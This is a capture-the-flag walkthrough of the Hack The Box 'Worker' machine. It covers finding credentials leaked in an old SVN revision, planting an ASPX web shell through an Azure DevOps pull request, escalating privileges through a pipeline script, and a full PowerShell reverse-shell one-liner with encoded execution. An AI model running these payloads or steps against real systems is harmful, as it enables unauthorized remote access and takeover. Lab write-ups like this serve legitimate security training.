# Hack The Box - Worker Walkthrough without Metasploit

![Worker](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSEqvuRryC08ZvG1cwz%2Fimage.png?alt=media\&token=043cd83c-7333-4921-8c37-a7b06fa9b135)

## Enumeration

Run nmap against our target 10.10.10.203 with the following flags:

-sC   Script scan, equivalent to --script=default

-sV   Service version info

-p-   Scan all ports

```
nmap -sC -sV -p- 10.10.10.203
```

![Worker Enumeration](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSEuNsEmByLwxmugPzD%2Fimage.png?alt=media\&token=54e09ab5-a540-40ab-835c-e3e8be0f28c9)

### Http

We discover a web page on port 80 which doesn't seem to have much at first glance:

![Page on port 80](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSEvBo5HkD7PNEygJMW%2Fimage.png?alt=media\&token=d3fdc98e-aa26-48ef-861d-58792e0c9258)

But as always, when we encounter a web page, we run gobuster against it:

```
gobuster dir -u 10.10.10.203 -w /usr/share/wordlists/dirb/common.txt -t 40 -e
```

![Gobuster Scan](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF0kXyIBwSxm1gb58t%2Fimage.png?alt=media\&token=f9427645-219f-4bf1-b6b8-5422258c0d99)

We didn't get much from this port (also ran the command with bigger wordlists and *-x* to add some common windows extensions such as **asp** or **aspx** along with **jsp**, **html**, **php**, **db**, **txt**, **xml** but we got no luck either)

### Svn

There's a svn Subversion, running on port 3690.&#x20;

**Subversion**: Is a VCS (Version Control System)... it's "like" **Git** with some differences...&#x20;

Centralized instead of distributed

You must be connected to make commits

Each user can have just one copy of the trunk

Branching or merging is... well quite time-consuming

Maybe that's why less than 10% of the professional devs use it... and i guess those that use it are because they are forced to...) But it came like 5 years before Git. In case someone wants to know a bit more about it:

{% embed url="<https://subversion.apache.org/>" %}

#### Checkout

We are going to checkout whatever repository we have there:

```
svn checkout svn://10.10.10.203
```

![SVN checkout](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF27krB7ebvQZoe0eP%2Fimage.png?alt=media\&token=f92608fd-fb1e-462b-91e0-d739e37d9931)

The most interesting file here is moved.txt:

![moved.txt](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF2NEmvgdmyGkSuo2i%2Fimage.png?alt=media\&token=a9e2c663-b7d0-43af-9f18-2a509e90c080)

We found a new Host to add to our /etc/hosts:

```
sudo nano /etc/hosts
```

![/etc/hosts](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF2rE5YKqeRVcccW5L%2Fimage.png?alt=media\&token=ab855d7d-9915-4352-8978-75404522ce7a)

Now we can try to access that url:

![devops.worker.htb](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF398BtR1psxgCq22p%2Fimage.png?alt=media\&token=e71a76eb-f851-458f-8283-1a4dab2c7eb1)

#### Gathering info from SVN

So, we need some credentials to access here... Let's dig a bit more on that svn repository we just downloaded in order to see if we can find something useful:

```
svn info
```

![SVN Info](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF3kUi__3-3ajxjPvd%2Fimage.png?alt=media\&token=bd8d011f-c25b-4ac9-8b02-503bd3d4438a)

We got the Revision number, which is **5** and the name of a user **nathen.**

#### SVN diff

The revision number is actually really important, this means we can compare this revision to the previous four and see if there are some differences:

```
svn diff -r <Revision Number>
```

![Revision 5 vs Revision 4](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF5sc8BNsLPcUCFlYB%2Fimage.png?alt=media\&token=5d8e8492-2d4b-43e9-adf6-b58682e924b6)

The only change is the moved.txt that we saw before, let's try a different revision:

![Revision 5 vs Revision 3](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF6KzFCZau7Sp8gL48%2Fimage.png?alt=media\&token=f6cb7601-c5d8-4f5c-af89-abbd3f75dd60)

We can confirm the user **nathen** and... was there some password in plain text!? We have to take a look at Revision 2:

![Revision 5 vs Revision 2](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF6rVrNFRfBXoIOkxN%2Fimage.png?alt=media\&token=5805f3dc-82e6-4877-94a3-1bf36c43db60)

#### Repository

Now we have a user **nathen** and password **wendel98**, if we try to use it on <http://devops.worker.htb>

![Svn Repository](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF83rG2c2mQRRtVvOe%2Fimage.png?alt=media\&token=9d67ed42-0462-4ab9-bd64-55f729ba2103)

Clicking on SmartHotel360 will take us to the following page:

![Repos](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF8WVuZixngxmKumZL%2Fimage.png?alt=media\&token=8f8bff40-3c7e-4265-bb31-362683161061)

Here we can see the Repositories:

![Master](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF8qqD8xyL6-tyt-fX%2Fimage.png?alt=media\&token=c8e890f4-ccee-463b-b4ae-edfa3e5a2ea7)

## Exploitation

We are going to try and use the SVN repository to gain access to the box, in order to do so we must be able to make some changes to master and upload a page that allow us to execute commands on the machine, since it's IIS 10.0 the page has to be either **asp** or **aspx.**

### Foothold

Tried to commit directly on master, but we were unable to do so, we are going to create a new branch, make some changes and then do a pull request.

On Repos go to Branches, New Branch, give your branch a name and Create branch:

![Branch Creation](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSEq0Jh6yvOGZeqKMRp%2F-MSF9vlU_xt1hWbXaZoF%2Fimage.png?alt=media\&token=06b7d41b-28d5-4263-8494-e9184a0eeb9b)

Click on our new created branch:

![evilbranch](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHLkE18BPCkqONy_z4%2Fimage.png?alt=media\&token=4aeeeb32-2de4-4d17-a3f3-0448b60b3542)

Now upload a cmdasp.aspx (We have one ready to use in our Kali located on '/usr/share/webshells/aspx/cmdasp.aspx')

Click on Upload File(s), browse... and then select our cmdasp.aspx:

![Uploading cmdasp.aspx](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHQt5Ti95w_EeWutth%2Fimage.png?alt=media\&token=d2ceafe5-3cd6-401c-bd1f-342357b0a0fd)

We also have to link a work item to the commit:

![Work items linked](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHYE5g3SwLxcxYZJsI%2Fimage.png?alt=media\&token=f5233a2b-d1f4-46d6-95b0-b73f07c31c98)

Now we just click on commit and we'll be able to see the new commit id, and the aspx file on the branch successfully uploaded.

![Committed changes](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHRUKA-jETyO21jWRC%2Fimage.png?alt=media\&token=7bbb771f-4872-41c4-bcff-4483c9b9a213)

We have to click on Create a pull request (we can see it on the commit id on the previous picture).

Create a New Pull Request of our evilbranch into master, selecting Nathalie (our user) as Reviewer:

![Pull request](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHVl78yLY_pCmxweAH%2Fimage.png?alt=media\&token=f7b64ba7-5c72-4a4d-95a8-2e2c7f4295d4)

If we take a long time to do this process, we may face this problem:

![branch deleted](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHWDhn8vlAmEMssDuP%2Fimage.png?alt=media\&token=cf5deb3a-410a-4124-b537-b0966b6ad11c)

In order to avoid it we have to prepare what we want to do and do it as fast as possible, now we have to repeat the process and will have to use another branch name too.

Once we are back at this point, we have to approve the commit:

![Approve commit](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHYg0SasUanhXJDWZp%2Fimage.png?alt=media\&token=a9120432-3b44-48a0-86ba-0711b0eba396)

And Set auto-complete:

![Set Auto-Complete](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHYxUOt2DL1GjOVBn8%2Fimage.png?alt=media\&token=539ba9e0-4596-4477-9a30-efb28e787842)

![Set auto-complete accept](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHZ1tys3oP1ybvtW1S%2Fimage.png?alt=media\&token=2d6cb9c7-986a-44d8-8be2-18c9b1ad260c)

It will automatically complete the pull request

![Pull Request Completed](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHZAnc3f3W7kkf7mUH%2Fimage.png?alt=media\&token=96bdfb35-2e81-48bf-84e0-842614d497d4)

If we go to the master branch now, we should be able to see our cmd page there:

![cmd aspx included](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSH_ArENArB7CVBoxgR%2Fimage.png?alt=media\&token=aa5ab817-f357-4bc2-92a6-063293281ace)

If we look closely, we will see next to master there is a subdomain name **spectral** so in order to access our new feature we need to add that to our /etc/hosts:

![new subdomain](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSH_eIKE9rv-fPGtid6%2Fimage.png?alt=media\&token=7c914b98-cb78-45d7-973d-72c95c75da84)

Now if we try to access our new feature:

![Error accessing cmdasp](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHaHfgB1GVVPoT62t2%2Fimage.png?alt=media\&token=609e337e-8b78-47c8-9c71-f7c0829cbdbb)

It was deleted, we really have to move fast in order to be able to get access to this machine it seems. So, we are going to prepare all the steps now, the cmdasp.aspx and the command we will use on it to gain access, which will be an encoded reverse.ps1 script.

We prepare an encoded reverse powershell script

Reverse Powershell script:

```bash
$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes=0..655535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback + 'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();
```

We encode it with our PSEnconder.py:

{% embed url="<https://github.com/4st1nus/PSEncoder>" %}

```
python3 PSEncoder.py /path/to/our/reverse.ps1
```

![PSEncoder.py](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHq0ZYTk-g6xaxLFpz%2F-MSHwEc6bo2F6LNZMgV-%2Fimage.png?alt=media\&token=4cbb1785-5f09-4e61-b29c-657a2a4a5b38)

Now on the command shell we have in the page we enter the encoded powershell script with the following arguments

-Exec ByPass

-Nol

-Enc

```
PowerShell.exe -Exec ByPass -Nol -Enc <Encoded Payload>
```

Have a netcat listening on the port indicated and click on execute:

![Entering our Reverse shell encoded](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHhMTjdOvDJIPwDVJv%2Fimage.png?alt=media\&token=16bd01cc-2af7-4e41-9b2d-4428edb7064f)

![Listening on our Kali](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHIDa3b7XQ-fPj3W4U%2F-MSHhRrYDgkJGIgobkN_%2Fimage.png?alt=media\&token=f01727b7-1b99-4517-be19-0f2efa35536e)

## Internal Enumeration

First let's take a look at the user we are after:

![User robisl](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHhTPCb4WaPfGGZ9WD%2F-MSHj4m5qeC0Mny8kvpP%2Fimage.png?alt=media\&token=336fc6a2-85bf-4e67-bc11-c73c21b46e83)

We can see there are more than one volume on this box:

![Volume W](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHhTPCb4WaPfGGZ9WD%2F-MSHje-yzjPsOOaHv9Ra%2Fimage.png?alt=media\&token=fa58470e-0d5a-48c3-8bdb-b1e42fbc471f)

If we go into that volume and take a look around, we will see a passwd file under **svnrepos/www/conf**

![robisl password](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHhTPCb4WaPfGGZ9WD%2F-MSHk5zBubr9xsGBiUMt%2Fimage.png?alt=media\&token=a66c399b-975d-4954-94f6-12d662a0659f)

### Impersonating the user

Let's use the tool evil-winrm to enter as robisl with that password:

{% embed url="<https://github.com/Hackplayers/evil-winrm>" %}

```
evil-winrm -i <ip> -u <user> -p <password>
```

![Evil-Winrm as user](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHhTPCb4WaPfGGZ9WD%2F-MSHknvWn1ChR5VnViiT%2Fimage.png?alt=media\&token=36ddb812-c7c8-4787-9955-a5d890d1d2ca)

We are in as robisl and we can grab our user flag, now let's try to escalate privileges, in order to do that we are going to try and access the repository as robisl.

### Privilege Escalation

Log in devops.worker.htb as robisl

![Repository as Robin](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHlfUMfN4sJmeyxbjj%2Fimage.png?alt=media\&token=90b784e0-f3e7-44f5-a23c-a6e12183466d)

In order to escalate privileges we are going to exploit the Pipelines feature:

![New Pipeline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHmBnz7L7PJOUPxQjO%2Fimage.png?alt=media\&token=5242c5cd-a150-45ab-b1a4-835847f4e1ce)

Since the Repository is an Azure Repos Git:

![Azure Repos Git](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHmZC-iATFBGYjnKUu%2Fimage.png?alt=media\&token=6570fe92-3f54-489d-9ab8-fe08f5801367)

Select our Repository:

![Repository](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHmhTfdz0pofQV3Koi%2Fimage.png?alt=media\&token=17205852-4e5d-4f17-84a6-c1eb45f4b19d)

Create a Starter pipeline:

![Starter Pipeline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHn8wJw6pnDkFVEA2w%2Fimage.png?alt=media\&token=d84903ae-4b54-4a90-b4e0-e71401a082ea)

The important thing here to modify is the script part:

![Default pipeline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHnUqtVL4HT1HFD5vV%2Fimage.png?alt=media\&token=6d9c2679-f8a1-473b-bbf9-e6e8dabd5787)

We get rid of everything not needed and change the net user Administrator password on the script:

![Modified Pipeline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHpF_FJ-JF8ZFHmblY%2Fimage.png?alt=media\&token=e143d058-3a31-4665-95d3-8abb02490ad9)

Save and run:

![Run Pipeline](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHpNQ3NWPnLaxXj5Pv%2Fimage.png?alt=media\&token=650cc100-9600-4fb1-8bf9-2507f8bbdfba)

We wait a bit meanwhile it does everything, we should have this:

![Pipeline executed](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHpai5ULVZS3xp2ERV%2Fimage.png?alt=media\&token=b8b60028-d5d4-480a-b212-af421e7944d9)

Let's try evi-winrm again with our new creds.

## Pwnd

![Administrator](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MSHlKAih5-N3GwOJzN9%2F-MSHpr7nkDVTWMApyNjq%2Fimage.png?alt=media\&token=1ec6a048-67ab-4a25-9ef4-ccf96564bf98)

We can grab the root flag ;)
